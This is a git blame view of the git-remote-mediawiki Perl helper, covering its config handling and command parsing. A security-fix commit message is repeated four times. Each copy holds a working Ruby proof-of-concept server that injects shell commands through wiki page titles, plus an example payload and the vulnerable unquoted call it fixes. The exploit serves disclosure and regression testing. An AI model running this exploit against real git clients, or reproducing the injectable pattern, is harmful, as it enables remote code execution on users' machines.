Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
|
2012-07-06 12:03:14 +02:00
|
|
|
# Fetch (clone and pull) by revisions instead of by pages. This behavior
|
|
|
|
# is more efficient when we have a wiki with lots of pages and we fetch
|
|
|
|
# the revisions quite often so that they concern only few pages.
|
|
|
|
# Possible values:
|
|
|
|
# - by_rev: perform one query per new revision on the remote wiki
|
|
|
|
# - by_page: query each tracked page for new revision
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
my $fetch_strategy = run_git_quoted(["config", "--get", "remote.${remotename}.fetchStrategy"]);
|
2013-06-14 15:50:32 +02:00
|
|
|
if (!$fetch_strategy) {
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
$fetch_strategy = run_git_quoted(["config", "--get", "mediawiki.fetchStrategy"]);
|
2012-07-06 12:03:14 +02:00
|
|
|
}
|
|
|
|
chomp($fetch_strategy);
|
2013-06-14 15:50:32 +02:00
|
|
|
if (!$fetch_strategy) {
|
2013-06-14 15:50:30 +02:00
|
|
|
$fetch_strategy = 'by_page';
|
2012-07-06 12:03:14 +02:00
|
|
|
}
|
|
|
|
|
2013-06-14 15:50:13 +02:00
|
|
|
# Remember the timestamp corresponding to a revision id.
|
|
|
|
my %basetimestamps;
|
|
|
|
|
2011-09-01 18:54:56 +02:00
|
|
|
# Dumb push: don't update notes and mediawiki ref to reflect the last push.
|
|
|
|
#
|
|
|
|
# Configurable with mediawiki.dumbPush, or per-remote with
|
|
|
|
# remote.<remotename>.dumbPush.
|
|
|
|
#
|
|
|
|
# This means the user will have to re-import the just-pushed
|
|
|
|
# revisions. On the other hand, this means that the Git revisions
|
|
|
|
# corresponding to MediaWiki revisions are all imported from the wiki,
|
|
|
|
# regardless of whether they were initially created in Git or from the
|
|
|
|
# web interface, hence all users will get the same history (i.e. if
|
|
|
|
# the push from Git to MediaWiki loses some information, everybody
|
|
|
|
# will get the history with information lost). If the import is
|
|
|
|
# deterministic, this means everybody gets the same sha1 for each
|
|
|
|
# MediaWiki revision.
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
my $dumb_push = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.dumbPush"]);
|
2013-06-14 15:50:32 +02:00
|
|
|
if (!$dumb_push) {
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
$dumb_push = run_git_quoted(["config", "--get", "--bool", "mediawiki.dumbPush"]);
|
2011-09-01 18:54:56 +02:00
|
|
|
}
|
|
|
|
chomp($dumb_push);
|
2013-06-14 15:50:30 +02:00
|
|
|
$dumb_push = ($dumb_push eq 'true');
|
2011-09-01 18:54:56 +02:00
|
|
|
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
my $wiki_name = $url;
|
2013-06-14 15:50:18 +02:00
|
|
|
$wiki_name =~ s{[^/]*://}{};
|
2011-10-20 19:04:59 +02:00
|
|
|
# If URL is like http://user:password@example.com/, we clearly don't
|
|
|
|
# want the password in $wiki_name. While we're there, also remove user
|
|
|
|
# and '@' sign, to avoid author like MWUser@HTTPUser@host.com
|
|
|
|
$wiki_name =~ s/^.*@//;
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
|
|
|
|
# Commands parser
|
|
|
|
while (<STDIN>) {
|
|
|
|
chomp;
|
2013-06-14 15:50:29 +02:00
|
|
|
|
|
|
|
if (!parse_command($_)) {
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
last;
|
|
|
|
}
|
|
|
|
|
|
|
|
BEGIN { $| = 1 } # flush STDOUT, to make sure the previous
|
|
|
|
# command is fully processed.
|
|
|
|
}
|
|
|
|
|
|
|
|
########################## Functions ##############################
|
|
|
|
|
2013-06-11 15:38:48 +02:00
|
|
|
## error handling
|
|
|
|
sub exit_error_usage {
|
|
|
|
die "ERROR: git-remote-mediawiki module was not called with a correct number of\n" .
|
|
|
|
"parameters\n" .
|
|
|
|
"You may obtain this error because you attempted to run the git-remote-mediawiki\n" .
|
|
|
|
"module directly.\n" .
|
|
|
|
"This module can be used the following way:\n" .
|
|
|
|
"\tgit clone mediawiki://<address of a mediawiki>\n" .
|
|
|
|
"Then, use git commit, push and pull as with every normal git repository.\n";
|
|
|
|
}
|
|
|
|
|
2013-06-14 15:50:29 +02:00
|
|
|
sub parse_command {
|
|
|
|
my ($line) = @_;
|
|
|
|
my @cmd = split(/ /, $line);
|
|
|
|
if (!defined $cmd[0]) {
|
|
|
|
return 0;
|
|
|
|
}
|
2013-06-14 15:50:30 +02:00
|
|
|
if ($cmd[0] eq 'capabilities') {
|
2013-06-14 15:50:29 +02:00
|
|
|
die("Too many arguments for capabilities\n")
|
|
|
|
if (defined($cmd[1]));
|
|
|
|
mw_capabilities();
|
2013-06-14 15:50:30 +02:00
|
|
|
} elsif ($cmd[0] eq 'list') {
|
2013-06-14 15:50:29 +02:00
|
|
|
die("Too many arguments for list\n") if (defined($cmd[2]));
|
|
|
|
mw_list($cmd[1]);
|
2013-06-14 15:50:30 +02:00
|
|
|
} elsif ($cmd[0] eq 'import') {
|
2013-06-14 15:50:39 +02:00
|
|
|
die("Invalid argument for import\n")
|
|
|
|
if ($cmd[1] eq EMPTY);
|
|
|
|
die("Too many arguments for import\n")
|
|
|
|
if (defined($cmd[2]));
|
2013-06-14 15:50:29 +02:00
|
|
|
mw_import($cmd[1]);
|
2013-06-14 15:50:30 +02:00
|
|
|
} elsif ($cmd[0] eq 'option') {
|
2013-06-14 15:50:39 +02:00
|
|
|
die("Invalid arguments for option\n")
|
|
|
|
if ($cmd[1] eq EMPTY || $cmd[2] eq EMPTY);
|
2013-06-14 15:50:29 +02:00
|
|
|
die("Too many arguments for option\n")
|
2013-06-14 15:50:39 +02:00
|
|
|
if (defined($cmd[3]));
|
2013-06-14 15:50:29 +02:00
|
|
|
mw_option($cmd[1],$cmd[2]);
|
2013-06-14 15:50:30 +02:00
|
|
|
} elsif ($cmd[0] eq 'push') {
|
2013-06-14 15:50:29 +02:00
|
|
|
mw_push($cmd[1]);
|
|
|
|
} else {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Unknown command. Aborting...\n";
|
2013-06-14 15:50:29 +02:00
|
|
|
return 0;
|
|
|
|
}
|
|
|
|
return 1;
|
|
|
|
}
|
|
|
|
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
# MediaWiki API instance, created lazily.
|
|
|
|
my $mediawiki;
|
|
|
|
|
2013-05-29 14:06:29 +02:00
|
|
|
sub fatal_mw_error {
|
|
|
|
my $action = shift;
|
|
|
|
print STDERR "fatal: could not $action.\n";
|
|
|
|
print STDERR "fatal: '$url' does not appear to be a mediawiki\n";
|
|
|
|
if ($url =~ /^https/) {
|
|
|
|
print STDERR "fatal: make sure '$url/api.php' is a valid page\n";
|
|
|
|
print STDERR "fatal: and the SSL certificate is correct.\n";
|
|
|
|
} else {
|
|
|
|
print STDERR "fatal: make sure '$url/api.php' is a valid page.\n";
|
|
|
|
}
|
|
|
|
print STDERR "fatal: (error " .
|
|
|
|
$mediawiki->{error}->{code} . ': ' .
|
|
|
|
$mediawiki->{error}->{details} . ")\n";
|
|
|
|
exit 1;
|
|
|
|
}
|
|
|
|
|
2012-06-27 11:10:19 +02:00
|
|
|
## Functions for listing pages on the remote wiki
|
|
|
|
sub get_mw_tracked_pages {
|
|
|
|
my $pages = shift;
|
2012-07-04 14:53:36 +02:00
|
|
|
get_mw_page_list(\@tracked_pages, $pages);
|
2013-06-14 15:50:12 +02:00
|
|
|
return;
|
2012-07-04 14:53:36 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
sub get_mw_page_list {
|
|
|
|
my $page_list = shift;
|
|
|
|
my $pages = shift;
|
2013-06-14 15:50:36 +02:00
|
|
|
my @some_pages = @{$page_list};
|
2012-06-27 11:10:19 +02:00
|
|
|
while (@some_pages) {
|
2013-06-14 15:50:34 +02:00
|
|
|
my $last_page = SLICE_SIZE;
|
2013-06-14 15:50:25 +02:00
|
|
|
if ($#some_pages < $last_page) {
|
|
|
|
$last_page = $#some_pages;
|
2012-06-27 11:10:19 +02:00
|
|
|
}
|
2013-06-14 15:50:25 +02:00
|
|
|
my @slice = @some_pages[0..$last_page];
|
2012-06-27 11:10:19 +02:00
|
|
|
get_mw_first_pages(\@slice, $pages);
|
2013-06-14 15:50:34 +02:00
|
|
|
@some_pages = @some_pages[(SLICE_SIZE + 1)..$#some_pages];
|
2012-06-27 11:10:19 +02:00
|
|
|
}
|
2013-06-14 15:50:12 +02:00
|
|
|
return;
|
2012-06-27 11:10:19 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
sub get_mw_tracked_categories {
|
|
|
|
my $pages = shift;
|
|
|
|
foreach my $category (@tracked_categories) {
|
|
|
|
if (index($category, ':') < 0) {
|
|
|
|
# Mediawiki requires the Category
|
|
|
|
# prefix, but let's not force the user
|
|
|
|
# to specify it.
|
